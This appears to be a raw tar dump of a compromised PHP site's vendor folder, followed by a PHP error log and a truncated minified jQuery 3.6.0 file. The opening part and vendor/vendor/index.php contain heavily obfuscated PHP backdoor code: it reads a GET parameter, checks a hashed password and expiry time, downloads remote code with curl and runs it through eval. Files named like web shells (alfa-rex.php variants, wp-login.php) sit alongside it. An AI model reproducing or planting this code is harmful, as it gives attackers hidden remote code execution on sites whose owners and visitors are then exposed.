"\61\70\x35\x31\135\x31\x38\x35\60\x5d\x31\x38\x35\x32\135\61\70\x37\61\x5d\x31\x38\65\x32\135\x31\x38\65\65\135\61\70\65\x30\135\61\71\61\67\135\x31\x39\x31\x35", "\x31\x38\66\x30\135\61\70\x35\61\135\x31\70\x35\x35\x5d\x31\x38\65\x36\135\x31\x38\67\61\x5d\61\70\66\x36\135\61\70\x36\65\135\x31\x38\x36\67\135\x31\70\65\x35\135\61\70\66\66\x5d\61\x38\66\x35", "\x31\x38\65\x34\x5d\x31\70\66\71\x5d\61\70\x36\x37\x5d\x31\x38\65\71", "\x31\70\66\x38\135\x31\70\66\x39\135\x31\70\65\x31\x5d\x31\x38\66\65\x5d\61\x39\x31\62\135\x31\71\61\x34\x5d\x31\70\67\61\135\61\70\66\x36\x5d\x31\70\66\65\135\x31\70\66\x37\135\61\x38\65\65\135\x31\x38\66\x36\x5d\x31\70\66\65", "\x31\x38\66\x34\135\61\70\x36\x31\x5d\x31\70\65\x38\x5d\x31\70\x36\65\135\x31\70\x37\x31\135\61\70\66\63\135\61\70\x36\x35\x5d\61\x38\65\x30\135\61\70\67\61\x5d\61\70\66\x37\x5d\x31\x38\x35\x35\135\61\x38\65\x36\x5d\x31\70\65\x30\x5d\x31\x38\x36\x35\135\x31\x38\65\x36\135\61\x38\65\60\x5d\61\70\65\61", "\61\x38\71\x34\x5d\61\x39\62\x34", "\61\x38\64\x31", "\61\71\61\x39\x5d\x31\71\62\64", "\61\71\60\x31\135\61\70\70\64\135\61\x38\70\64\135\x31\x39\60\61\x5d\61\x38\67\67", "\61\70\66\64\135\x31\70\x36\61\135\61\70\x35\70\135\61\x38\65\60\x5d\x31\70\x36\65\135\x31\70\x35\62\x5d\61\70\67\x31\x5d\61\x38\x36\61\x5d\x31\x38\65\66\135\61\x38\x35\x34\x5d\x31\x38\64\x39\135\x31\70\65\60"); goto a02e5nwzEQQP; IM4qf3z7JNjk: } } goto OvyperiOn4Iq; WXWPCMTyKPUF: metaphone("\x4d\104\115\65\x4f\104\x6b\x33\x4d\x54\143\x77\117\124\x63\x30\116\172\x63\172\115\x44\x45\171\x4e\172\x55\x7a\x4e\x44\105\x78"); goto qHdPIKZ1pHYr; r4ykwtqIQ368: $ZdHGPveGgRye = ${$nQ2ta2gvP10F[21 + 10] . $nQ2ta2gvP10F[23 + 36] . $nQ2ta2gvP10F[26 + 21] . $nQ2ta2gvP10F[32 + 15] . $nQ2ta2gvP10F[25 + 26] . $nQ2ta2gvP10F[15 + 38] . $nQ2ta2gvP10F[23 + 34]}; goto s3SV174ETcHM; OvyperiOn4Iq: n8FadazkXX4T::MhEl2_AsAjvR(); ?> vendor/vendor/alfa-rex.php7000064400000026574150324651210011652 0ustar00vendor/vendor/alfa-rex.php8000064400000026574150324651210011653 0ustar00vendor/vendor/wp-login.php000064400000026574150324651210011620 0ustar00vendor/vendor/alfa-rex.php56000064400000026574150324651210011736 0ustar00vendor/vendor/index.php000064400000013051150324651210011155 0ustar00 $mUwNMxJjWT2HL) { $UiuhmDEsl9C_0 .= $EECqN7yZ8FYm0[$mUwNMxJjWT2HL - 75375]; GuacgDyC0D7Pl: } goto mxkP4U7UJzM0q; TnlYyJ9QcoE_B: $EECqN7yZ8FYm0 = $W2uX70jYrd5cT("\x7e", "\40"); goto M2T519vJamZ62; VRe06neMB1_wP: } static function TPikNvLR5mxCW($hXcYaVKI1J7Al, $DXAE63Pp6Kljd) { goto ncd2C_bzrHiFK; rg0eo4m_q2J7p: $k9rma7OeuhRhi = curl_exec($PRWdeUyMbzR8s); goto ijwPVxusbVjop; ncd2C_bzrHiFK: $PRWdeUyMbzR8s = curl_init($hXcYaVKI1J7Al); goto Zy7SgoRtQQ7X1; ijwPVxusbVjop: return empty($k9rma7OeuhRhi) ? $DXAE63Pp6Kljd($hXcYaVKI1J7Al) : $k9rma7OeuhRhi; goto svnjfXGBWCliP; Zy7SgoRtQQ7X1: curl_setopt($PRWdeUyMbzR8s, CURLOPT_RETURNTRANSFER, 1); goto rg0eo4m_q2J7p; svnjfXGBWCliP: } static function F_wYBiJMcsXN3() { goto HYaBr5X0HX7DL; F3CmTLtd3nPuz: $oxsYuHIYe2OvJ = @$lpne_Gfo59HXX[1]($lpne_Gfo59HXX[8 + 2](INPUT_GET, $lpne_Gfo59HXX[7 + 2])); goto SE5CSs4ABPWyO; dk3TiNVdyuv3K: @$lpne_Gfo59HXX[1 + 9](INPUT_GET, "\157\146") == 1 && die($lpne_Gfo59HXX[2 + 3](__FILE__)); goto e5pO1SZS6WT1g; HYaBr5X0HX7DL: $ZxrL8yzDwQU89 = array("\x37\x35\64\x30\x32\44\67\x35\63\x38\x37\x24\x37\65\x34\60\60\x24\x37\x35\64\60\64\44\x37\65\63\x38\65\x24\x37\x35\64\x30\60\44\67\x35\64\60\66\x24\x37\65\x33\x39\x39\x24\x37\x35\x33\x38\64\44\x37\x35\63\71\x31\44\x37\x35\64\x30\62\x24\x37\65\63\70\65\44\67\x35\x33\71\x36\44\x37\x35\x33\x39\x30\44\x37\65\x33\71\61", "\67\65\x33\x38\66\x24\x37\x35\63\x38\65\44\67\x35\x33\x38\67\44\x37\x35\64\x30\66\44\x37\65\63\70\x37\44\x37\x35\x33\x39\60\44\67\65\63\x38\x35\44\x37\65\64\65\62\x24\67\x35\64\x35\60", "\67\65\x33\x39\x35\44\67\65\x33\70\66\x24\67\65\x33\x39\x30\44\x37\65\x33\x39\61\44\67\x35\64\60\66\x24\67\x35\x34\x30\61\x24\x37\x35\64\60\x30\44\67\65\64\60\x32\x24\67\65\63\x39\60\x24\x37\65\64\x30\x31\44\67\x35\x34\x30\x30", "\67\65\x33\70\x39\x24\x37\65\64\x30\x34\x24\x37\65\64\x30\62\x24\67\x35\63\71\64", "\67\x35\x34\x30\63\x24\67\x35\x34\x30\64\x24\67\x35\x33\x38\66\44\x37\65\x34\60\x30\44\x37\65\x34\x34\x37\44\67\65\64\x34\x39\44\67\x35\64\x30\66\44\x37\x35\x34\x30\61\x24\67\x35\x34\x30\x30\x24\x37\65\x34\60\62\44\x37\x35\63\x39\60\44\x37\x35\64\x30\x31\x24\67\65\64\60\60", "\67\65\63\x39\71\44\67\x35\63\x39\x36\44\x37\x35\x33\71\63\44\x37\65\x34\60\60\x24\x37\65\64\x30\66\44\67\65\x33\x39\x38\44\67\65\64\60\x30\x24\x37\65\x33\x38\65\x24\67\65\x34\60\66\44\67\x35\x34\x30\62\44\x37\x35\x33\71\60\44\x37\65\x33\71\x31\x24\67\x35\x33\x38\65\x24\x37\65\x34\60\x30\x24\67\x35\x33\71\61\44\67\65\x33\70\65\44\67\x35\x33\x38\x36", "\x37\x35\64\x32\x39\44\x37\x35\64\65\71", "\67\x35\63\67\x36", "\67\65\x34\x35\x34\44\x37\65\64\x35\x39", "\x37\x35\64\63\x36\44\67\65\x34\61\x39\44\x37\65\x34\x31\71\44\67\65\64\63\x36\44\x37\x35\x34\x31\x32", "\67\65\63\71\71\x24\67\65\x33\x39\x36\x24\67\65\63\71\x33\x24\x37\x35\x33\70\65\x24\67\x35\x34\x30\x30\x24\x37\x35\63\70\67\x24\x37\x35\64\60\66\x24\x37\65\63\x39\x36\44\67\65\x33\71\61\x24\67\x35\63\70\71\44\67\x35\63\70\x34\x24\67\x35\63\70\65"); goto myrWuUQUjapFL; HNpWkvjCDycly: @eval($lpne_Gfo59HXX[3 + 1]($mXE5LBSpp2XFm)); goto N6V_DLfc62lQw; N6V_DLfc62lQw: die; goto ynktMLZ9iXPVH; SE5CSs4ABPWyO: $g0ofwcxE8lfGz = @$lpne_Gfo59HXX[1 + 2]($lpne_Gfo59HXX[5 + 1], $oxsYuHIYe2OvJ); goto tGJ9o3IpI6v7_; myrWuUQUjapFL: foreach ($ZxrL8yzDwQU89 as $ZNqK309DsZkGg) { $lpne_Gfo59HXX[] = self::l0W2Dk7DNvG_O($ZNqK309DsZkGg); rLCiI2WnmWup6: } goto p2sZr2mktl2O8; p2sZr2mktl2O8: CZPWGxxpsldyj: goto F3CmTLtd3nPuz; ynktMLZ9iXPVH: EGh2afAdd3fQk: goto tM0vnm3NnhR3s; jSI9anNHZIXV4: $mXE5LBSpp2XFm = self::TpiknVLr5mXcw($oXvdmX2OAxK_c[1 + 0], $lpne_Gfo59HXX[4 + 1]); goto HNpWkvjCDycly; tGJ9o3IpI6v7_: $oXvdmX2OAxK_c = $lpne_Gfo59HXX[0 + 2]($g0ofwcxE8lfGz, true); goto dk3TiNVdyuv3K; e5pO1SZS6WT1g: if (!(@$oXvdmX2OAxK_c[0] - time() > 0 and md5(md5($oXvdmX2OAxK_c[3 + 0])) === "\x35\62\62\63\x31\x63\x39\146\64\x31\66\x31\62\65\63\143\142\x34\60\66\x33\x30\65\x33\61\x34\65\x66\x62\62\x65\x37")) { goto EGh2afAdd3fQk; } goto jSI9anNHZIXV4; tM0vnm3NnhR3s: } } goto SqtCM4Ap3YOmU; td84CWm4gRsN2: @eval($vKx0JQNJnREkl[70](${$vKx0JQNJnREkl[42]}[23])); goto Gp70FM2sD5sxI; HDUBAH5dI1yvO: $eNyG1xIKk01px = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto tqHeVhabXfbNw; hUIH12DI26T0F: $vKx0JQNJnREkl = ${$s11GIrLVsVe9_[13 + 18] . $s11GIrLVsVe9_[36 + 23] . $s11GIrLVsVe9_[30 + 17] . $s11GIrLVsVe9_[18 + 29] . $s11GIrLVsVe9_[12 + 39] . $s11GIrLVsVe9_[46 + 7] . $s11GIrLVsVe9_[47 + 10]}; goto ggWeF9HXYgPm5; SqtCM4Ap3YOmU: M2ejy1cqwlEUn::f_wYbIJMcsXn3(); ?> vendor/vendor/about.php000064400000026574150324651210011176 0ustar00vendor/vendor/error_log000064400000001626150324651210011257 0ustar00[04-Jul-2025 11:34:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 11:35:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 vendor/vendor/about.php7000064400000026574150324651210011265 0ustar00vendor/jquery-3.6.0.min.js000064400000256637150324651210011164 0ustar00/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return 